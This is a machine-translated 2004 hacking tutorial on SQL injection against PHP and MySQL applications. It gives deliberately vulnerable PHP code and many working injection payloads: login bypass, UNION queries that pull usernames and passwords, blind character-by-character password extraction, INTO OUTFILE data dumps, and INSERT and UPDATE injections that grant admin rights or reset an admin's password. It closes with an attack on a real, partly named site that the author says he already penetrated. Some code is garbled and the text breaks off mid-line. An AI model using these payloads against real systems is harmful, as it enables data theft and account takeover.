Home >Backend Development >PHP Tutorial >How to write MYSQL statements with injection vulnerabilities_PHP tutorial
SQL Injection with MySQL SQL Query: $sql "; Search result SQL Query: $sql "; n"; n"; n"; SQL Query: $sql "; SQL Query:$sql "; SQL Query:$sql "; n"; n"; SQL Query:$sql ";
Author of this article: angel
Article nature: original
Release date: 2004-09-16
This article has been published in the July issue of "Hacker Defense". Please indicate when reprinting. Because it took me a long time to write, and with the advancement of technology, I also found that there are many errors and wordy places in this article. Experts please don’t laugh after reading this. This article was written one month before "Advanced SQL Injection with MySQL".
Statement
This article is for teaching purposes only. I am not responsible for the consequences of attacks caused by this article. All codes in this article are written by me, and all data have been tested. Absolutely true. If there are any omissions or errors, please come to the Security Angel Forum (http://www.4ngel.net/forums) to communicate with me.
Foreword
Since 2003, more and more people are interested in script attacks, and more and more friends are studying injection under ASP. I have read the earliest article about SQL The article injected into was written by a foreign expert in 1999. Now that foreign experts have become proficient in it, China has only begun to pay attention to this technology. From this point of view, domestic technology in this area is relatively There is still a big gap abroad. Having said that, everyone is quite familiar with SQL injection attacks. There are some classic works on major domestic sites, but as a complete article article, I think it is still necessary to talk about its definition and principles. If any master has reached the level of proficiency, you might as well give this article some trouble. Quan should give guidance to the younger brother.
About injection of php+Mysql
There may be relatively few articles about php+Mysqlinjection in China, but if you pay attention to the vulnerabilities of various WEB programs, you can find that the articles about these vulnerabilities are actually an example. However, because there are far fewer people studying PHP in China than those studying ASP, they may not have paid attention. Moreover, PHP is much more secure than ASP, so many people do not want to cross this threshold.
Despite this, with the increasing number of PHP sites today, SQL injection is still the most effective and troublesome attack method. It is effective because at least 70% of sites have SQL Injection vulnerabilities. , including most domestic secure sites, the trouble is because versions below MYSQL4 do not support sub-statements, and when magic_quotes_gpc in php.ini is On. All ' (single quotes), " (double quotes), (backslashes) and empty characters in the submitted variables will be automatically converted to escaped characters containing backslashes . It brings a lot of obstacles to injecting .
In the early days, based on the program code, it was really difficult to construct a statement without quotation marks to form an effective attack. Fortunately, current technology has constructed a statement without quotation marks for use in certain situations. As long as you have experience, it is not difficult at all to construct effective sentences, and the success rate is even high, but the specific situation must be analyzed on a case-by-case basis. First of all, we must get rid of a misunderstanding.
Note: In the absence of specific instructions, we assume that magic_quotes_gpc is all off.
Misunderstanding of php+Mysql
injection
Many people think that single quotes must be used to inject
under PHP+MYSQL, or there is no way to use "declare @a sysname select @a=
$command = "dir c:";
system($command);
Otherwise it is just a string. Of course, the commands we are talking about do not only refer to system commands. What we are talking about here are SQL statements. To make the SQL statements we construct execute normally, we cannot let our statements become strings. So what happens? Will you use single quotes next time? When is it not used? Take a look at the following two SQL statements:
①SELECT * FROM article WHERE articleid='$id'
②SELECT * FROM article WHERE articleid=$id
Both writing methods are common in various programs, but the security is different. The first sentence puts the variable $id in a pair of single quotes, which makes the variables we submit become strings, even if Even if it contains the correct SQL statement, it will not be executed normally. The second sentence is different. Since the variables are not put in single quotes, everything we submit will be executed as an SQL statement as long as it contains spaces. , we submitted two malformed sentences that successfully injected into the two sentences to see the difference.
① Specify variable $id as:
1' and 1=2 union select * from user where userid=1/*
At this time, the entire SQL statement becomes:
SELECT * FROM article WHERE articleid='1' and 1=2 union select * from user where userid=1/*'
②Specify the variable $id as:
1 and 1=2 union select * from user where userid=1
At this time, the entire SQL statement becomes:
SELECT * FROM article WHERE articleid=1 and 1=2 union select * from user where userid=1
Did you see it? Since the first sentence has single quotes, we must first close the previous single quotes so that the following statements can be executed as SQL, and we must comment out the following single quotes in the original SQL statement so that we can succeed
Inject , if magic_quotes_gpc in php.ini is set to on or the addslashes() function is used before the variable, our attack will be in vain, but the second sentence does not include the variable in quotes, then we There is no need to think about closing or commenting, just submit it directly.
You have seen that the statements given in some articles do not contain single quotation marks. For example, the SQL statement given in pinkeyes' "php
InjectionExample" does not contain quotation marks. Everyone Don’t think that you can actually inject without the quotation marks . If you look carefully at the PHPBB code, you can find that the SQL statement where $forum_id is located is written like this:
$sql = "SELECT *
FROM " . FORUMS_TABLE . "
WHERE forum_id = $forum_id";
Since variables are not enclosed in single quotes, pinkkeys have an opportunity to take advantage of them. Therefore, when writing PHP programs, remember to include variables in single quotes. Of course, necessary safety measures are essential.
Simple example
Let me give you an example to understand the particularity and principle of
injection into under PHP. Of course, this example can also tell you how to learn to construct effective SQL statements.
Let’s take an example of user verification. First, create a database
and a data table and insert a record, as follows:
CREATE TABLE `user` (
`userid` int(11) NOT NULL auto_increment,
`username` varchar(20) NOT NULL default '',
`password` varchar(20) NOT NULL default '',
PRIMARY KEY (`userid`)
) TYPE=MyISAM AUTO_INCREMENT=3 ;
#
#Export data in the table `user`
#
INSERT INTO `user` VALUES (1, 'angel', 'mypass');
The code to verify user files is as follows:
$servername = "localhost";
$dbusername = "root";
$dbpassword = "";
$dbname = "injection";
mysql_connect($servername,$dbusername,$dbpassword) or die ("Database connection failed");
$sql = "SELECT * FROM user WHERE username='$username' AND password='$password'";
$result = mysql_db_query($dbname, $sql);
$userinfo = mysql_fetch_array($result);
if (empty($userinfo))
{
echo "Login failed";
} else {
echo "Login successful";
}
echo "
?>
http://127.0.0.1/injection/user.php?username=angel
' or 1=1
will return:
Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in F:wwwinjectionuser.php on line 13
Login failed
SQL Query:SELECT * FROM user WHERE username='angel' or 1=1' AND password=''
PHP Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in F:wwwinjectionuser.php on line 13
Did you see it? After the single quotes are closed, the following single quotes are not commented out, resulting in the single quotes not being paired correctly. Therefore, it can be seen that the statement we constructed cannot allow Mysql to execute correctly and needs to be restructured:
http://127.0.0.1/injection/user.php?username=angel' or '1=1
At this time, "Login Successful" is displayed, indicating that it is successful. Or submit:
http://127.0.0.1/injection/user.php?username=angel'/*
http://127.0.0.1/injection/user.php?username=angel'%23
This will comment out the following statements! Let’s talk about the differences between these two submissions. The first sentence we submitted uses logical operations. It can be said to be very widely used in ASP. Needless to say, right? The second and third sentences are based on the characteristics of mysql. Mysql supports two comment formats: /* and #, so when we submit, we comment out the following code. It is worth noting that due to encoding issues, we submit # in the IE address bar. will become empty, so when we submit in the address bar, we should submit %23 before it becomes #, and it is successfully commented. This is much simpler than logical operations. From this, we can see that PHP is more powerful and flexible than ASP Much more.
Through the above example, everyone should have a perceptual understanding of PHP+MYSQL's injection , right?
Statement construction
The breadth and depth of PHP+MYSQLInjection is not only reflected in the quality of the certification system. The structure of the statement is the most interesting part, but the structure of the statement is slightly different from ACCESS and MSSQL. , but it can also be used to its full potential. See the example below.
1. Search engine
There are a lot of PHP program search engines on the Internet that have problems, that is, submitting special characters can display all records, including those that do not meet the conditions. In fact, this harm is not great, because there are many places where users are allowed to enter keywords for fuzzy queries. Most allow retrieval of all records. Many queries are designed like this.
The query is a read-only operation and should not cause damage to the data, so don't worry too much. However, I don’t know if leaking privacy is considered harmful. Here is a standard search engine:
$servername = "localhost";
$dbusername = "root";
$dbpassword = "";
$dbname = "injection";
mysql_connect($servername,$dbusername,$dbpassword) or die ("Database connection failed");
$keywords = $_GET['keywords'];
if (!empty($keywords)) {
//$keywords = addslashes($keywords);
//$keywords = str_replace("_","_",$keywords);
//$keywords = str_replace("%","%",$keywords);
$sql = "SELECT * FROM ".$db_prefix."article WHERE title LIKE '%$keywords%' $search ORDER BY title DESC";
$result = mysql_db_query($dbname,$sql);
$tatol=mysql_num_rows($result);
echo "
if ($tatol <=0){
echo "The "$keywords" was not found in all the record.
} else {
while ($article=mysql_fetch_array($result)) {
echo "
} //while
}
} else {
echo ": please enter some keywords.
}
?>
Generally, programs are written like this. If there is a lack of variable checking, we can rewrite the variables to achieve the purpose of " injecting ". Although there is no harm, when we enter "___", " .__", "%" and other similar keywords will fetch all records in the database. If we submit in the form:
%' ORDER BY articleid/*
%' ORDER BY articleid#
__' ORDER BY articleid/*
__' ORDER BY articleid#
The SQL statement is changed to the following,
SELECT * FROM article WHERE title LIKE '%%' ORDER BY articleid/*%' ORDER BY title DESC
SELECT * FROM article WHERE title LIKE '%__' ORDER BY articleid#%' ORDER BY title DESC
All records will be listed, including hidden ones, and the sort order can also be changed. Although this is not very harmful, it can be regarded as a way of injecting into , right?
2. Query field
Query fields can be divided into two types, local table query and cross-table query. These two queries are similar to ACCESS and MSSQL, and are even more powerful, flexible and convenient. I don’t know why some people think it is more difficult than ASP? Some functions we often use in ASP need to be slightly modified in PHP, as follows:
① Query this table
Look at the following SQL statement, which is mostly used in forums or member registration systems to view user information,
$servername = "localhost";
$dbusername = "root";
$dbpassword = "";
$dbname = "injection";
mysql_connect($servername,$dbusername,$dbpassword) or die ("Database connection failed");
$sql = "SELECT * FROM user WHERE username='$username'";
$result = mysql_db_query($dbname,$sql);
$row = mysql_fetch_array($result);
if (!$row) {
echo "The record does not exist";
echo "
exit;
}
echo "The user ID you want to query is: $row[userid]n";
echo "
?>
When the username we submit is true, the user's ID will be returned normally. If it is an illegal parameter, a corresponding error will be prompted. Since we are querying user information, we can boldly guess that the password exists in this data table (now I still I have never encountered a program where the password is stored in another table separately). Do you remember the identity verification program just now? Compared with the current one, there is one less AND condition, as follows:
SELECT * FROM user WHERE username='$username' AND password='$password'SELECT * FROM user WHERE username='$username'
The same thing is that when the condition is true, the correct prompt information will be given. If we construct the subsequent AND condition part and make this part true, then our purpose will be achieved. We can still use the user we just created. Database, user name is angel, password is mypass,
After reading the above example, you should know the structure. If we submit:
http://127.0.0.1/injection/user.php?username=angel' and password='mypass
This is absolutely true, because when we submit the above SQL statement like this, it becomes like this:
SELECT * FROM user WHERE username='angel' AND password='mypass'
But in an actual attack, we definitely don’t know the password. Assuming that we know each field of the database, we will start to detect the password. First, get the password length:
http://127.0.0.1/injection/user.php?username=angel' and LENGTH(password)='6
In ACCESS, use the LEN() function to obtain the string length. In MYSQL, use LENGTH(). As long as there are no construction errors, that is to say, the SQL statement can be executed normally, there are only two types of return results. User ID means that "the record does not exist" is returned. When the user name is angel and the password length is 6, it returns true and the relevant records will be returned. Is it the same as in ASP? Then use the LEFT(), RIGHT(), and MID() functions to guess the password:
http://127.0.0.1/injection/user.php?username=angel' and LEFT(password,1)='m
http://127.0.0.1/injection/user.php?username=angel' and LEFT(password,2)='my
http://127.0.0.1/injection/user.php?username=angel' and LEFT(password,3)='myp
http://127.0.0.1/injection/user.php?username=angel' and LEFT(password,4)='mypa
http://127.0.0.1/injection/user.php?username=angel' and LEFT(password,5)='mypas
http://127.0.0.1/injection/user.php?username=angel' and LEFT(password,6)='mypass
Look, didn’t the password come out? Simple right? Of course, the actual situation will have many restrictions, and the in-depth application of this example will be discussed below.
② Cross-table query
This part is a bit different from ASP. In addition to using UNION to connect two SQL statements, the most difficult thing to master is the number of fields. If you have read the MYSQL reference manual, you will know that select_expression in SELECT (select_expression means you want to retrieve The columns listed in the Column[Field]) section must be of the same type. The column names used in the first SELECT query will be returned as the column names of the result set. To put it simply, the number and field types selected after UNION should be the same as those in the previous SELECT. Moreover, if the previous SELECT is true, the results of two SELECTs will be returned at the same time. If the previous SELECT is false, then The result of the second SELECT will be returned. In some cases, the fields that should be displayed in the first SELECT will be replaced, as shown below:
Is it more intuitive after looking at this picture? Therefore, you should first know the structure of the data table of the previous query table. If the fields we query in the two data tables are the same and of the same type, we can submit like this:
SELECT * FROM article WHERE articleid='$id' UNION SELECT * FROM……
If the number of fields and field types are different, you can only clear the data type and number of fields and submit like this:
SELECT * FROM article WHERE articleid='$id' UNION SELECT 1,1,1,1,1,1,1 FROM……
Otherwise, an error will be reported:
The used SELECT statements have a different number of columns
If you don’t know the data type and number of fields, you can use 1 to try slowly. Because 1 belongs to the intstrvar type, we can definitely guess it as long as we slowly change the number. If you don't understand the above theory right away, there are very detailed examples later.
Let’s take a look at the data structure below, which is a simple article data table.
CREATE TABLE `article` (
`articleid` int(11) NOT NULL auto_increment,
`title` varchar(100) NOT NULL default '',
`content` text NOT NULL,
PRIMARY KEY (`articleid`)
) TYPE=MyISAM AUTO_INCREMENT=3 ;
#
# Export data in the table `article`
#
INSERT INTO `article` VALUES (1, 'I am a child who doesn't like to read', 'China's education system is so fucking backward! If I were the Minister of Education. I would fire all the teachers!');
INSERT INTO `article` VALUES (2, 'I hate you so much', 'I hate you so much, what are you');
The field types of this table are int, varchar, and text. If we use UNION to query, the structure of the subsequent query table will be the same as this. You can use "SELECT *". If any one is different, then we can only use "SELECT 1,1,1,1...".
The following file is a very standard and simple file for displaying articles. Many sites have this kind of page without filtering, so it becomes the most obvious injection point. Take this file below As an example, let's start with our injection experiment.
$servername = "localhost";
$dbusername = "root";
$dbpassword = "";
$dbname = "injection";
mysql_connect($servername,$dbusername,$dbpassword) or die ("Database connection failed");
$sql = "SELECT * FROM article WHERE articleid='$id'";
$result = mysql_db_query($dbname,$sql);
$row = mysql_fetch_array($result);
if (!$row)
{
echo "The record does not exist";
echo "
exit;
}
echo "title
".$row[title]."
echo "content
".$row[content]."
echo "
?>
Normally, we submit a request like this:
http://127.0.0.1/injection/show.php?id=1
The article with articleid 1 will be displayed, but we don’t need the article. What we need is the user’s sensitive information, so we need to query the user table. Now we are querying the user table we just created.
Since $id is not filtered, this opportunity is created for us. We need to rewrite the SQL statement in the show.php file to look like this:
SELECT * FROM article WHERE articleid='$id' UNION SELECT * FROM user ……
Since this code contains variables in single quotes, we submit it now:
http://127.0.0.1/injection/show.php?id=1' union select 1,username,password from user/*
Logically speaking, the contents of the username and password fields of the user table should be displayed. How can I display the article normally? As shown in the picture:
In fact, the articleid=1 we submitted exists in the article table, and the execution result is true. Naturally, the result of the previous SELECT is returned. When we submit an empty value or a non-existent value, what we want will pop up. Stuff:
http://127.0.0.1/injection/show.php?id=' union select 1,username,password from user/*
http://127.0.0.1/injection/show.php?id=99999' union select 1,username,password from user/*
As shown in the picture:
Now display the content we want in the corresponding place of the field. If you are still unclear about the ideas and specific applications, some advanced techniques will be discussed later.
3. Export file
This is a technology that is relatively easy to construct but has certain limitations. We can often see the following SQL statement:
select * from table into outfile 'c:/file.txt'
select * from table into outfile '/var/www/file.txt'
But such statements are rarely used in programs. Who would export their own data? Unless it is a backup, but I have never seen this backup method. So we have to construct it ourselves, but the following prerequisites must be met:
It must be exported to an accessible directory so that it can be downloaded.
Accessible directories must have writable permissions, otherwise the export will fail.
Make sure the hard drive has enough capacity to accommodate the exported data, this is rare.
Make sure that the same file name already exists, which will cause the export to fail and prompt: "File 'c:/file.txt' already exists". This can prevent database tables and files such as /etc/passwd from being damaged.
Let’s continue to use the user.php and show.php files as examples above. If guessing one user at a time is too slow, if the other party’s password or other sensitive information is very complex, and they don’t know how to write an exploit, what should they guess? What time? Let's do something large-scale and export all the data directly. For the query statement of the user.php file, we follow the standard format of into outfile and inject into the following statement to export the information we need:
SELECT * FROM user WHERE username='$username' into outfile 'c:/file.txt'
Knowing what kind of statement can achieve our purpose, we can easily construct the corresponding statement:
http://127.0.0.1/injection/user.php?username=angel
' into outfile 'c:/file.txt
An error message appears, but from the returned statement, our SQL statement is indeed
injection correctly. Even if an error occurs, it is also a problem with the query, and the file is still obediently Exported, as shown in the picture:
Since the code itself has WHERE to specify a condition, the data we export is only the data that meets this condition. What if we want to export all? It's actually very simple. As long as you make the WHERE condition false and specify a true condition, you don't have to be bound to WHERE. Let's see the classic 1=1 in action:
http://127.0.0.1/injection/user.php?username=
' or 1=1 into outfile 'c:/file.txt
The actual SQL statement becomes:
SELECT * FROM user WHERE username='' or 1=1 into outfile 'c:/file.txt'
In this way, if the username parameter is empty, it is false. 1=1 is always true, so the WHERE in front of or will not work, but do not use and, otherwise all data cannot be exported.
Since the conditions are met, in this case, all data will be exported directly! As shown in the picture:
But how to construct the statement for exporting files across tables? UNION joint query is still used, so all prerequisites should be the same as UNION and exported data. Under normal circumstances, cross-table exported data should be the same as the following:
SELECT * FROM article WHERE articleid='1' union select 1,username,password from user into outfile 'c:/user.txt'
This way the file can be exported. If we want to construct it, submit it:
http://127.0.0.1/injection/show.php?id=1' union select 1,username,password from user into outfile 'c:/user.txt
The file is out, but there is a problem. Since the previous query articleid='1' is true, the exported data also contains part of the entire article, as shown in the figure:
So we should make the previous query statement false so that we can only export the content of the subsequent query. Just submit:
http://127.0.0.1/injection/show.php?id=' union select 1,username,password from user into outfile 'c:/user.txt
Only in this way can we get the information we want:
It is worth noting that if you want to export the file, magic_quotes_gpc must not be opened, and the program does not use the addslashes() function. Also, you cannot do any filtering on single quotes, because when we submit the export path, we must include it in quotes. , otherwise, the system will not recognize that it is a path, and there is no need to try to use char() or any other function, which is in vain.
INSERT
If you think that injection in MYSQL is only applicable to SELECT, you are totally wrong. In fact, there are two more harmful operations, which are INSERT and UPDATE statements. Such examples Not much, let’s talk about INSERT first, which is mainly used to rewrite inserted data. Let’s take a look at a simple and widespread example. Take a look at the following data structure:
CREATE TABLE `user` (
`userid` INT NOT NULL AUTO_INCREMENT ,
`username` VARCHAR( 20 ) NOT NULL ,
`password` VARCHAR( 50 ) NOT NULL ,
`homepage` VARCHAR( 255 ) NOT NULL ,
`userlevel` INT DEFAULT '1' NOT NULL ,
PRIMARY KEY ( `userid` )
);
The userlevel represents the user level, 1 is an ordinary user, 2 is an ordinary administrator, and 3 is a super administrator. A registration program defaults to registering as an ordinary user, as follows:
INSERT INTO `user` (userid, username, password, homepage, userlevel) VALUES ('', '$username', '$password', '$homepage', '1');
The default userlevel field is inserted into 1, and the variables in it are written directly into the database without filtering. What do you think? Yes, just and inject directly, so that we will be the super administrator as soon as we register. When we register, we can achieve the purpose of rewriting by constructing the $homepage variable. Specify the $homepage variable as:
http://4ngel.net', '3')#
When inserted into the database, it becomes:
INSERT INTO `user` (userid, username, password, homepage, userlevel) VALUES ('', 'angel', 'mypass', 'http://4ngel.net', '3')#', ' 1');
This will register you as a super administrator. But this method of utilization also has certain limitations. For example, I have no variables that need to be rewritten. For example, the userlevel field is the first field in the database. There is no place for us to inject in front. We There is no other way.
Perhaps INSERT has wider applications, and you can research it yourself, but the principles are the same.
UPDATE
Compared with INSERT, UPDATE is more widely used. If the filtering is not enough, it can rewrite any data. Let’s take the registration program just now. The data structure remains unchanged. Let’s look at the user modifying his own information. The SQL statement is generally Written like this:
UPDATE user SET password='$password', homepage='$homepage' WHERE id='$id'
Users can change their passwords and homepages. What do you think? It’s not like we still need to elevate our permissions, right? The SQL statement in the program does not update the userlevel field. How can I improve it? Still the old way, construct the $homepage variable and specify the $homepage variable as:
http://4ngel.net
', userlevel='3
The entire SQL statement becomes like this:
UPDATE user SET password='mypass', homepage='http://4ngel.net', userlevel='3' WHERE id='$id'
Have we become super administrators again? The program does not update the userlevel field, we do it ourselves.
There is something even more awesome, directly modify the information of any user, it is still the example sentence just now, but this time it is safer and uses MD5 encryption:
UPDATE user SET password='MD5($password)', homepage='$homepage' WHERE id='$id'
Although the password is encrypted, we can still construct the statement we need. We specify $password as:
mypass)' WHERE username='admin'#
At this time, the entire sentence becomes:
UPDATE user SET password='MD5(mypass)' WHERE username='admin'#)', homepage='$homepage' WHERE id='$id'
This changes the update conditions. I don’t care if the code behind you is crying and saying: We haven’t executed it yet. Of course, you can also start with $id and specify $id as:
' OR username='admin'
At this time, the entire sentence becomes:
UPDATE user SET password='MD5($password)', homepage='$homepage' WHERE id='' OR username='admin'
The purpose of modification can still be achieved, so injecting is a very flexible technology. If some variables are fixed values read from the database, or even use $_SESSION['username'] to read SESSION information on the server, we can construct the WHERE ourselves before the original WHERE and comment out the following code, as It can be seen that flexible use of comments is also one of the techniques for injecting into . These techniques inject into to the fullest. I have to say it is an art.
The submission method of variables can be GET or POST. The submission location can be the address bar, form, hidden form variable or modification of local COOKIE information, etc. The submission method can be local submission, submission on the server or tool submission. There are many ways. It depends on how you use it.
Advanced Applications
1. Use MYSQL built-in functions
We have many more advanced injection methods in ACCESS and MSSQL, such as going deep into the system, guessing Chinese, etc. These things can also be used very well in MYSQL. In fact, there are many built-in functions in MYSQL that can be used in SQL statements, which allows us to be more flexible when injecting into , to get more information about the system. There are several functions that are commonly used:
DATABASE()
USER()
SYSTEM_USER()
SESSION_USER()
CURRENT_USER()
…
You can check the MYSQL manual for the specific functions of each function, such as the following UPDATE:
UPDATE article SET title=$title WHERE articleid=1
We can specify $title as each of the above functions. Because it is not enclosed in quotation marks, the function can be executed correctly:
UPDATE article SET title=DATABASE() WHERE id=1
#Update the current database name to the title field
UPDATE article SET title=USER() WHERE id=1
#Update the current MySQL user name to the title field
UPDATE article SET title=SYSTEM_USER() WHERE id=1
#Update the current MySQL user name to the title field
UPDATE article SET title=SESSION_USER() WHERE id=1
#Update the current MySQL user name to the title field
UPDATE article SET title=CURRENT_USER() WHERE id=1
#Update the username that is verified and matched in the current session to the title field
By flexibly using the built-in functions of MYSQL, you can get a lot of useful information, such as database version, name, user, current database, etc. For example, in the previous example of cross-table query, submit:
http://127.0.0.1/injection/show.php?id=1
You can see an article, how can we know the relevant information of MYSQL database? It also uses MYSQL built-in functions to cooperate with UNION joint query, but it is much simpler in comparison, and you can even read files! Since UNION is to be used, the conditions of UNION must also be met - the number of fields and data types are the same. If we know the data structure, construct it directly:
http://127.0.0.1/injection/show.php?id=-1
union select 1,database(),version()
You can return the current database name and database version, and the construction is relatively easy.
Attached below is a piece of code written by my friend Super·Hei, which can convert strings into ASCII codes. Thanks for providing.
#!/usr/bin/perl
#cody by Super·Hei
#to angel
#C:>test.pl c:boot.ini
#99,58,92,98,111,111,116,46,105,110,105
$ARGC = @ARGV;
if ($ARGC != 1) {
print "Usage: $0 n";
exit(1);
}
$path=shift;
@char = unpack('C*', $path);
$asc=join(",",@char);
print $asc;
2. Inject without single quotes
Note: Now we assume that magic_quotes_gpc is on.
As we all know, integer data does not need to be enclosed in quotation marks, but strings must be enclosed in quotation marks, which can avoid many problems. But if we only use integer data, we have no way to inject into , so I need to convert the statement we constructed into an integer type. This requires the use of CHAR(), ASCII( ), ORD(), CONV() functions, here is a simple example:
SELECT * FROM user WHERE username='angel'
How to make $username without quotes? It's very simple. We just submit it like this.
SELECT * FROM user WHERE username=char(97,110,103,101,108)
# char(97,110,103,101,108) is equivalent to angel, decimal.
SELECT * FROM user WHERE username=0x616E67656C
# 0x616E67656C is equivalent to angel, hexadecimal.
You can test other functions by yourself, but the premise is as mentioned above. It only makes sense that the variables we can construct are not enclosed in quotation marks. Otherwise, no matter what we construct, it will just be a string and will not play a role, such as guessing the password earlier. For example (user,php), we change the query condition to userid:
SELECT * FROM user WHERE userid=userid
According to normal, submit:
http://127.0.0.1/injection/user.php?userid=1
You can query the user information with userid 1. Because 1 is a number, it doesn’t matter if there are quotes or not, but if we construct:
http://127.0.0.1/injection/user.php?userid=1 and password=mypass
Absolutely wrong, because mypass is a string, unless submitted:
http://127.0.0.1/injection/user.php?userid=1 and password='mypass'
Due to the fact that magic_quotes_gpc is turned on, this is absolutely impossible. The quotation marks will become /'. Is there any way we can turn these strings into integer data? Just use the CHAR() function, if we submit:
http://127.0.0.1/injection/user.php?userid=1 and password=char(109,121,112,97,115,115)
Return normally. Practice has proved that it is feasible for us to use CHAR(), so we use CHAR() in the LEFT function to guess the solution bit by bit!
http://127.0.0.1/injection/user.php?userid=1 and LEFT(password,1)=char(109)
Return normally, indicating that for users with userid 1, the first bit of the password field is char(109), let’s continue guessing:
http://127.0.0.1/injection/user.php?userid=1 and LEFT(password,2)=char(109,121)
It returns normally and the explanation is correct, but this affects the efficiency. Since it is an integer, we can use the comparison operator to compare:
http://127.0.0.1/injection/user.php?userid=1 and LEFT(password,1)>char(100)
Then adjust the numbers in char() appropriately to determine a range. You can guess it quickly. Later, you can still use comparison operators to compare:
http://127.0.0.1/injection/user.php?userid=1 and LEFT(password,3)>char(109,121,111)
And there is no need to change what you have already guessed, you can finish it quickly:
http://127.0.0.1/injection/user.php?userid=1 and LEFT(password,6)=char(109,121,112,97,115,115)
Then execute it in the mysql> command prompt or in phpMyadmin:
select char(109,121,112,97,115,115)
will return: mypass
Of course, you can also use the SUBSTRING(str,pos,len) and MID(str,pos,len) functions to return a substring of len characters starting from the pos position of the string str. This is the same as ACCESS. Still using the example just now, let’s try guessing the third and fourth digits of the password field. The third digit is p and the fourth digit is a. We construct it like this:
http://127.0.0.1/injection/user.php?userid=1 and mid(password,3,1)=char(112)
http://127.0.0.1/injection/user.php?userid=1 and mid(password,4,1)=char(97)
The results we wanted came out. Of course, if you find it troublesome, you can also use a simpler method, which is to use the ord() function. For specific functions, you can check the MYSQL reference manual. This function returns integer type data, which can be compared using comparison operators. Of course, The results will be produced much faster, that is, submitted like this:
http://127.0.0.1/injection/user.php?userid=1 and ord(mid(password,3,1))>111
http://127.0.0.1/injection/user.php?userid=1 and ord(mid(password,3,1))<113
http://127.0.0.1/injection/user.php?userid=1 and ord(mid(password,3,1))=112
In this way, we will get the result, and then we can use the char() function to restore it. As for other more functions, you can try them yourself, and I won’t go into details due to space limitations.
3. Quickly determine the fields and types of unknown data structures
If you don’t know the data structure, it is difficult to use UNION to query. Here I will tell you a little trick, which is also very useful and necessary to give full play to the characteristics of UNION.
Let’s take the previous show.php file as an example. When we see a URL in the form xxx.php?id=xxx, if we want to UNION, we need to know the structure of the data table queried by xxx.php. We can do this Submit to quickly determine how many fields there are:
http://127.0.0.1/injection/show.php?id=-1 union select 1,1,1
How many "1"s there are means how many fields there are. You can try it slowly. If the number of fields is different, an error will definitely occur. If the number of fields is guessed correctly, the correct page will definitely be returned. Once the number of fields is figured out, it will be It is actually very easy to start judging the data type. Just replace the 1 above with a few letters. However, since magic_quotes_gpc is turned on, we cannot use quotation marks. The old method is to use the char() function. char(97) represents the letter "a". As follows:
http://127.0.0.1/injection/show.php?id=-1 union select char(97),char(97),char(97)
If it is a string, "a" will be displayed normally. If it is not a string or text, that is to say, it is an integer or Boolean, "0" will be returned, as shown in the figure:
What is the most important thing to rely on for judgment? Experience, I have always said that experience is very important. Rich experience can better make correct judgments, because the program code is ever-changing. We are just giving the simplest example here. Due to limitations, the program is I wrote and tested it myself. Methods vary from program to program. I hope everyone will pay attention to the differences in actual combat and do not copy them. Flexible application is the fundamental.
4. Guess the name of the data table
On the basis of quickly determining the fields and types of the unknown data structure, we can further analyze the entire data structure, that is, guess the table name. In fact, when using UNION joint query, no matter how "deformed" the subsequent query is, as long as there is no statement The above questions will be returned correctly, that is to say, we can further guess the table name based on the above. For example, we just submitted:
http://127.0.0.1/injection/show.php?id=1 union select 1,1,1
Returning normal content means that there are 3 fields in the table queried by this file, and then we add from table_name at the end, that is:
http://127.0.0.1/injection/show.php?id=1 union select 1,1,1 from members
http://127.0.0.1/injection/show.php?id=1 union select 1,1,1 from admin
http://127.0.0.1/injection/show.php?id=1 union select 1,1,1 from user
If the table exists, the content that should be displayed will also be returned. If the table does not exist, of course an error will occur. So my idea is to first obtain the data structure of the table queried by the vulnerable file, and then proceed further after confirming the result. Query table, this manual operation is not efficient, it can be queried in less than a minute, for example, we are testing www.***bai.net, which will be covered in the following examples.
But there is a problem, because in many cases, the data tables of many programs will have a prefix. With this prefix, multiple programs can share a database. For example:
site_article
site_user
site_download
forum_user
forum_post
……
If the security awareness is high, the administrator will add a table name prefix, which will be very troublesome to guess, but you can definitely make a table name list and run it. I won’t go into details here, there will be a specific example later to clear up all the confusion ^_^…
Example
The following is a well-intentioned attack test on a very famous domestic site to roughly verify the above knowledge. Due to many factors such as influence, we call this site HB (www.***bai.net). HB uses Yemao's article system and download system, but the article system has been upgraded, so we won't read it. There is definitely something wrong with the download system, but since the computer I am writing articles on does not have access to the Internet, I use the same download system. The system performs a simulated test locally. In fact, I had already penetrated HB using more vicious techniques.
First we find the problematic file, show.php?id=1. We immediately look at the data structure and table names to see if HB has changed the fields and table names. I already knew that Nightmaul downloaded the system version 1.0.1 software. The information table has 19 fields, please submit:
http://127.0.0.1/ymdown/show.php?id=1 union select 1,1,1,1,1,1,1,1,1,1,1, 1,1,1,1,1,1,1,1
Note that there are 19 "1"s here. Returning to the normal page, I can be sure that the fields have not changed, so let's stop dragging and see if the default user data table of Night Cat exists:
http://127.0.0.1/ymdown/show.php?id=1 union select 1,1,1,1,1,1,1,1,1,1,1, 1,1,1,1,1,1,1,1 from ymdown_user
Return normally, as shown in the picture. If the URL is not clear, you can look at the title:
Well, this HB is really lazy. I don’t know how to modify such a bad program before using it. However, not many people like me have the time to strengthen the program before using it. Then the default user ID is still there. Not here?
http://127.0.0.1/ymdown/show.php?id=1 union select 1,1,1,1,1,1,1,1,1,1,1, 1,1,1,1,1,1,1,1 from ymdown_user where id=1
Forgot, even if there is no user with id 1, the previous query is true, and the software information of the database will still be returned normally. We can only make the previous query false to display the results of the subsequent query, but we have to Note that there is this code in the show.php file:
if ($id > "0" && $id < "999999999" ):
//Here is the code that is executed correctly
else:
echo "